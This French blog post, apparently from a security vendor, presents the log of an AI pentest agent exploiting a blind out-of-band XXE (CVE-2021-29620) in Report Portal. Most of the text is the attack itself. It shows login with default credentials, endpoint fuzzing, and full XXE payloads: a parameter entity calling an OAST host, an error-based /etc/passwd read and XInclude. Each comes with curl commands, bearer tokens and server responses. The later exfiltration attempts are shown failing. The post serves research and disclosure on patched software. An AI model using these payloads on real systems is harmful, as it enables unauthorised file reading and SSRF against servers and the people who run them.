Automatiser la recherche en sécurité : un moteur IA exploite l'XXE de Report Portal (CVE-2021-29620)
Cet article présente une analyse approfondie et pratique, ainsi qu'une preuve de concept, de l'exploitation d'une vulnérabilité XXE hors bande (OOB) CVE-2021-29620 dans Report Portal. Il détaille comment le moteur de pentest piloté par l'IA d'Ostorlab a servi à automatiser tout le cycle.
Nous avons lancé notre moteur de pentest IA sur une XXE complexe et connue pour voir s'il fonctionne vraiment.
Plutôt que de servir le discours habituel des éditeurs sur la « technologie révolutionnaire » et les « changements de paradigme », nous avons décidé de tester de vraies vulnérabilités complexes. Une de celles que les scanners traditionnels manquent régulièrement.
Nous avons pointé Ostorlab's AI Pentest Engine sur Report Portal, en traquant précisément CVE-2021-29620 - une vulnérabilité XXE complexe présente dans la base CVE depuis 2021. Non pas pour la découvrir (elle a déjà été trouvée et corrigée), mais pour répondre à une question simple : notre IA peut-elle vraiment trouver les vulnérabilités complexes que les scanners traditionnels manquent ?
Cette XXE est intéressante parce que :
- Elle exige une manipulation complexe de l'envoi de fichiers - il ne suffit pas d'envoyer
<![ENTITY]>en espérant que ça passe - L'exfiltration de données se fait hors bande - aucun message d'erreur ne vous dit que ça a fonctionné
- Elle demande des tests itératifs - des centaines de variantes pour trouver celle qui se déclenche, et il faut trouver la fonctionnalité d'envoi de fichiers et franchir l'étape d'authentification
CVE-2021-29620 a été notre preuve de concept. Une XXE complexe, enchaînée et hors bande, qui exige une réelle intelligence pour être trouvée. Et notre Ostorlab AI Pentest Engine l'a trouvée, de façon indépendante, sans indices, exactement comme l'aurait fait un véritable attaquant.
Dans la suite de cet article, nous vous montrons précisément comment le moteur a abordé ce problème et ce qui lui a permis de réussir là où les scanners traditionnels ont échoué :
[*] Documenter le processus d'authentification pour permettre des tests authentifiés. L'objectif principal est d'identifier la page ou le endpoint de connexion, de capturer un exemple de requête de connexion (avec la méthode, l'URL, les en-têtes et le corps), puis d'utiliser les identifiants fournis 'default' et '1q2w3e' pour confirmer une connexion réussie. Le résultat attendu est un processus documenté et reproductible pour obtenir une session valide, y compris le token de session ou le cookie précis émis par l'application après une authentification réussie.
Le processus d'authentification de l'application web à l'adresse http://REDACTED a été documenté avec succès.
Flux d'authentification
-
Page de connexion : l'utilisateur arrive sur une page de connexion à l'adresse
http://REDACTED/ui/. -
Envoi des identifiants : l'utilisateur saisit ses identifiants (nom d'utilisateur : 'default', mot de passe : '1q2w3e') dans le formulaire prévu.
-
Requête d'authentification : à la soumission, l'application envoie une requête
POSTvers le endpoint suivant :http://REDACTED/uat/sso/oauth/token
La requête comprend les éléments suivants :
* **Méthode :** `POST`
* **En-têtes :**
* `Content-Type`: `application/x-www-form-urlencoded`
* `Authorization`: `Basic dWk6dWltYW4=`
* **Corps :** `grant_type=password&username=default&password=1q2w3e`
- Récupération du token de session : le serveur valide les identifiants et, en cas de succès, répond par un objet JSON contenant un
access_token. Ce token est un JSON Web Token (JWT) qui sert de token de session pour les requêtes suivantes.
Exemple de réponse :
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
"token_type": "bearer",
"refresh_token": "...",
"expires_in": 86399,
"scope": "ui"
}
- Session authentifiée : l'application est désormais authentifiée. Toutes les requêtes suivantes vers l'API doivent inclure l'
access_tokendans l'en-têteAuthorization, sous forme de bearer token.
Exemple : Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Ce processus documenté fournit une méthode claire et reproductible pour s'authentifier auprès de l'application, ce qui est essentiel pour mener d'autres tests de vulnérabilités authentifiés.
Initial navigation to http://REDACTED:
The application redirects to http://REDACTED/ui/
Login Page Screenshot:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_d22e7233-f4f9-47e6-a188-d9ef303c75e4.png

Login Page Content:
The login page contains a form with fields for "Login" and "Password".
Login Credentials:
Username: 'default', Password: '1q2w3e'
Login Action:
Filled the login and password fields and clicked the 'Login' button.
Post-Login Screenshot:
screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_47ed351e-591a-4dcc-8799-84b1876ff475.png

Authentication Request:
POST /uat/sso/oauth/token HTTP/1.1
Host: REDACTED
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dWk6dWltYW4=
grant_type=password&username=default&password=1q2w3e
Authentication Response:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
...
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
"token_type": "bearer",
"refresh_token": "...",
"expires_in": 86399,
"scope": "ui"
}
Surface d'attaque de l'application
[*] Maintenant que le processus d'authentification est documenté, l'étape suivante consiste à découvrir la surface d'attaque de l'application. Cette tâche consiste à utiliser le token d'authentification obtenu pour explorer systématiquement (crawl ou spider) toute l'application. L'objectif principal est d'identifier toutes les pages, fonctionnalités et endpoints d'API accessibles à l'utilisateur authentifié, afin de créer une cartographie complète qui servira à repérer les fonctionnalités de traitement XML potentielles dans les tâches suivantes.
La surface d'attaque de l'application a été cartographiée avec succès. J'ai commencé par utiliser ffuf pour énumérer par force brute les répertoires et fichiers, ce qui a conduit à la découverte des endpoints /health, /info et /ui. Un fuzzing plus poussé de la couche API a révélé l'endpoint /api/v1/api-docs, qui fournissait un document JSON Swagger 2.0. Ce document décrit toute la structure de l'API. Après analyse de la documentation de l'API, j'ai identifié l'endpoint /v1/{projectName}/launch/import comme candidat potentiel à une XXE, car il traite des fichiers XML. J'ai également confirmé que mon utilisateur est affecté au projet "default_personal". L'étape logique suivante consiste à fabriquer un fichier XML malveillant et à tenter d'exploiter la fonctionnalité d'import.
ffuf_-u_http://REDACTED/FUZZ_-w_agent/tools/wordlists/Web-Content/common.txt_-H_..._output:
"The ffuf scan revealed several endpoints, most of which resulted in 302 redirects. Key findings include the /health, /info, and /ui endpoints, which returned 200 OK status codes, providing valuable information about the application's status, build, and user interface."
ffuf_api_v1_fuzzing_output:
"The ffuf scan of the /api/v1/ endpoint discovered the api-docs endpoint, which provided a Swagger 2.0 JSON document. This document is a critical piece of information for understanding the API structure."
api-docs_swagger.json:
"The Swagger JSON file provides a comprehensive overview of the available API endpoints, methods, and parameters. Analysis of this file revealed the /v1/{projectName}/launch/import endpoint, which accepts multipart/form-data and processes XML files. This is a prime candidate for XXE vulnerability testing."
Fichier XML malveillant
[*] Fabriquer un fichier XML malveillant contenant un payload XXE en bande conçu pour lire le fichier /etc/passwd. Envoyer ce fichier vers le endpoint /v1/default_personal/launch/import au moyen d'une requête multipart/form-data, authentifiée avec le bearer token obtenu précédemment. L'objectif est de déterminer si la réponse de l'application contient le contenu du fichier /etc/passwd, ce qui confirmerait une vulnérabilité XXE classique, en bande.
L'application est vulnérable à une injection d'entité externe XML (XXE) aveugle et hors bande (OOB). En fabriquant un fichier XML malveillant avec une entité paramètre pointant vers un serveur externe, j'ai pu déclencher un callback DNS, ce qui confirme que l'analyseur XML de l'application traite les entités externes.
Résumé des actions
- Test initial en bande : j'ai d'abord tenté une attaque XXE classique en bande, en fabriquant un fichier XML pour lire
/etc/passwd. La réponse du serveur n'incluait pas le contenu du fichier, ce qui indique qu'une XXE en bande n'est pas possible. - Test OOB avec une entité générale : j'ai ensuite testé la XXE OOB avec une entité générale (
&xxe;). Cela n'a produit aucun callback, ce qui laisse penser que les entités générales ne sont pas traitées d'une manière qui permette des interactions OOB. - Test OOB avec une entité paramètre : enfin, j'ai testé la XXE OOB avec une entité paramètre (
%xxe;). Cela a déclenché avec succès un callback DNS vers mon serveur Interactsh, confirmant la vulnérabilité XXE aveugle.
Étapes de reproduction
- Démarrez une session Interactsh pour obtenir une URL de callback unique.
- Créez un fichier XML malveillant (par exemple
malicious-oob-parameter-entity.xml) avec le contenu suivant, en remplaçant<INTERACTSH_URL>par votre URL Interactsh :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<INTERACTSH_URL>"> %xxe;]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
- Envoyez une requête
POSTàhttp://REDACTED/api/v1/default_personal/launch/importavec un bearer token valide et le fichier XML malveillant en pièce jointe multipart/form-data. - Vérifiez dans votre client Interactsh la présence d'un callback DNS provenant du serveur.
Preuves
- Payload XML malveillant : voir l'artefact
malicious-oob-parameter-entity.xml. - Requête cURL : voir l'artefact
curl-request.txt. - Callback Interactsh : voir l'artefact
interactsh-callback.json.
Cette vulnérabilité peut servir à exfiltrer des données sensibles du serveur et à mener des attaques de falsification de requête côté serveur (SSRF) contre le réseau interne. Les tentatives suivantes d'exfiltration de données ont échoué à cause d'erreurs d'analyse, mais l'interaction OOB confirmée suffit à prouver l'existence de la vulnérabilité.
malicious-oob-parameter-entity.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://d29ihorsis9lrbenk1r0ewbi1ts3iecdb.oast.site"> %xxe;]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
curl-request.txt:
-X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -F "file=@malicious-oob-parameter-entity.xml"
interactsh-callback.json:
[
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 57100\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHorSIs9lRBEnk1R0Ewbi1ts3IeCDB.oAsT.siTE.\tIN\t A\n",
"remote_address": "172.253.2.214"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 27154\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29ihoRsiS9LrbeNK1r0EWBi1Ts3IeCDb.OAST.siTE.\tIN\t AAAA\n",
"remote_address": "172.253.228.146"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 22390\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IhorSIS9lRBENK1r0ewbi1tS3IeCdb.OaSt.siTE.\tIN\t AAAA\n",
"remote_address": "172.253.13.148"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 50970\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IHorSiS9LrBenk1r0EwBI1ts3iECdb.OAST.sITE.\tIN\t AAAA\n",
"remote_address": "172.253.12.158"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 41406\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29iHOrSIs9LrbenK1r0eWBi1tS3IeCdB.oast.SITE.\tIN\t AAAA\n",
"remote_address": "172.253.5.152"
},
{
"protocol": "dns",
"raw_request": ";; opcode: QUERY, status: NOERROR, id: 38150\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHORsis9LrBEnK1r0EwBI1tS3iEcDB.oast.SITe.\tIN\t AAAA\n",
"remote_address": "172.253.5.147"
}
]
Exfiltration XXE OOB
[*] Maintenant qu'une vulnérabilité XXE aveugle a été confirmée par un callback OOB, l'étape critique suivante consiste à démontrer son impact en exfiltrant des données. Cette tâche implique d'héberger un fichier DTD externe malveillant. Ce DTD sera conçu pour lire un fichier local sensible sur le serveur (par exemple /etc/hostname), puis transmettre son contenu à notre listener OAST en intégrant les données dans un paramètre d'URL. Le payload XML envoyé à la fonctionnalité d'import sera modifié pour référencer ce DTD hébergé en externe. Le résultat attendu est de recevoir sur le listener OAST une requête HTTP contenant le contenu exfiltré du fichier, ce qui prouverait que la vulnérabilité peut servir au vol de données.
-- Erreur rencontrée lors de l'exécution de la tâche
[*] La tentative précédente d'exfiltration de données à l'aide d'un DTD externe a échoué à cause d'une erreur côté outil, et non d'un résultat négatif de la part de la cible. L'étape immédiate suivante doit être de réessayer cette action critique afin de déterminer l'impact complet de la vulnérabilité XXE aveugle confirmée. Cette tâche recréera les conditions de l'exfiltration de données en hébergeant un DTD malveillant conçu pour lire un fichier local (/etc/hostname) et envoyer son contenu à un listener OAST. L'objectif est de recevoir sur le listener un callback contenant le nom d'hôte du serveur, ce qui prouverait de façon définitive que la vulnérabilité peut servir à l'exfiltration de données.
-- La tentative d'exfiltration de données via une vulnérabilité XXE aveugle a échoué. Le principal obstacle est l'impossibilité d'héberger un fichier DTD malveillant sur un serveur externe joignable par l'application cible. J'ai essayé un serveur python local, pastebin et les gists github, mais toutes ces méthodes ont échoué. Le serveur local n'est pas joignable depuis l'application cible, et je ne parviens pas à créer un fichier brut accessible publiquement sur pastebin ou sur les gists github. Sans moyen de servir le fichier DTD, je ne peux pas construire le payload XXE complet nécessaire à l'exfiltration de données. Par conséquent, bien que la vulnérabilité XXE aveugle soit confirmée, je ne peux pas démontrer son impact complet.
[*] Les tentatives d'exfiltration de données à l'aide d'un DTD externe ayant échoué en raison de contraintes d'environnement (impossibilité d'héberger un fichier joignable), l'étape logique suivante est de tenter une autre méthode d'exfiltration qui ne repose pas sur un serveur externe. Cette tâche portera sur le déclenchement d'une XXE aveugle basée sur les erreurs. Un fichier XML malveillant sera fabriqué avec un DOCTYPE autonome qui tente de lire un fichier local (par exemple /etc/passwd), puis utilise son contenu pour construire un chemin de fichier invalide, ce qui force une erreur de l'analyseur. L'objectif est d'analyser la réponse du serveur à la recherche d'un message d'erreur détaillé qui divulgue le contenu du fichier visé, démontrant ainsi une exfiltration de données sans connexion hors bande.
-- La tentative d'exfiltration de données via une XXE basée sur les erreurs et une XXE basée sur XInclude a échoué. Bien que la vulnérabilité XXE aveugle hors bande (OOB) soit confirmée, démontrer son impact complet par l'exfiltration de données s'est révélé difficile, en raison de contraintes d'environnement et du comportement spécifique de l'analyseur de l'application.
Résumé des actions
-
Tentative de XXE basée sur les erreurs : j'ai fabriqué un fichier XML malveillant avec un DOCTYPE autonome qui tentait de lire
/etc/passwdet d'utiliser son contenu pour construire un chemin de fichier invalide. Le serveur a répondu par une erreur d'analyse, mais sans divulguer le contenu du fichier. Le message d'erreur indiquait au contraire que la référence à l'entité paramètre était mal placée, ce qui empêchait la tentative d'exfiltration. -
Tentative de XXE basée sur XInclude : j'ai ensuite testé la XXE avec XInclude, une méthode alternative pour inclure des fichiers externes. Le serveur a répondu par un message de succès, indiquant que le fichier avait été importé. Cependant, faute de pouvoir consulter les données importées, il est impossible de confirmer si le contenu de
/etc/passwda bien été inclus.
Conclusion
Bien qu'une vulnérabilité XXE aveugle ait été confirmée par une interaction OOB, toutes les tentatives d'exfiltration de données ont échoué. La technique basée sur les erreurs a échoué en raison de la gestion d'erreurs spécifique de l'analyseur, et la technique XInclude n'a pas été concluante. Sans méthode fiable d'exfiltration de données, l'impact complet de cette vulnérabilité reste non confirmé.
Preuves
- Payloads XML malveillants : voir les artefacts
malicious-error-based.xmletmalicious-xinclude.xml. - Requêtes cURL : voir les artefacts
curl-error-based-request.txtetcurl-xinclude-request.txt. - Réponses du serveur : voir les artefacts
curl-error-based-response.jsonetcurl-xinclude-response.json. malicious-error-based.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE launch [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<launch name="test" temporary="true">
<description>test</description>
<mode>DEFAULT</mode>
</launch>
curl-error-based-request.txt:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-error-based.xml"
curl-error-based-response.json:
{"errorCode":40035,"message":"Error while importing the file. 'Error during parsing the xml file: 'The parameter entity reference \"%file;\" cannot occur within markup in the internal subset of the DTD.''}"}
malicious-xinclude.xml:
<?xml version="1.0" encoding="UTF-8"?>
<launch name="test" temporary="true" xmlns:xi="http://www.w3.org/2001/XInclude">
<description>
<xi:include href="file:///etc/passwd" parse="text"/>
</description>
<mode>DEFAULT</mode>
</launch>
curl-xinclude-request.txt:
curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-xinclude.xml"
curl-xinclude-response.json:
{"message":"Launch with id = 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755 is successfully imported."}
Exploitation basée sur XInclude
[*] Maintenant qu'un payload XXE basé sur XInclude a été « importé avec succès » comme un « launch » (ID : 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755), l'étape suivante consiste à explorer en profondeur l'interface utilisateur de l'application web. L'objectif est de localiser l'endroit où ces launches importés sont stockés et affichés. Cherchez des sections comme 'Launches', 'Reports', 'Projects' ou tout tableau de bord qui liste les activités précédentes. Le but est de consulter les détails du launch importé et de vérifier si le contenu de '/etc/passwd' est affiché sur la page, ce qui transformerait la XXE aveugle en divulgation de données en bande confirmée.
-- J'ai exploré avec succès l'interface utilisateur de l'application web pour déterminer si le payload XXE basé sur XInclude avait entraîné une divulgation de données en bande. J'ai navigué jusqu'à la section 'Launches' et localisé le launch importé nommé 'malicious-xinclude'. En inspectant les détails de ce launch, je n'ai trouvé aucune trace du contenu du fichier /etc/passwd. La page affichait le message "No results found", ce qui indique que l'application n'a pas rendu l'entité externe incluse. Je peux donc conclure que, même si l'application est peut-être vulnérable à XInclude, ce payload précis ne conduit pas à une exfiltration de données en bande via l'interface utilisateur.
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_3479491b-1b22-4a19-816a-7f76b397c856.png:
Login page screenshot
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_330558c7-183d-4dd2-8fdb-2c64dbb67b46.png:
Launches page screenshot
screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_0191cba7-023b-4c09-a04a-46ff56d7375b.png:

Launch detail page screenshot

Rapport final
>> Enfin, l'IA génère un rapport complet détaillant la vulnérabilité et les étapes d'exploitation :
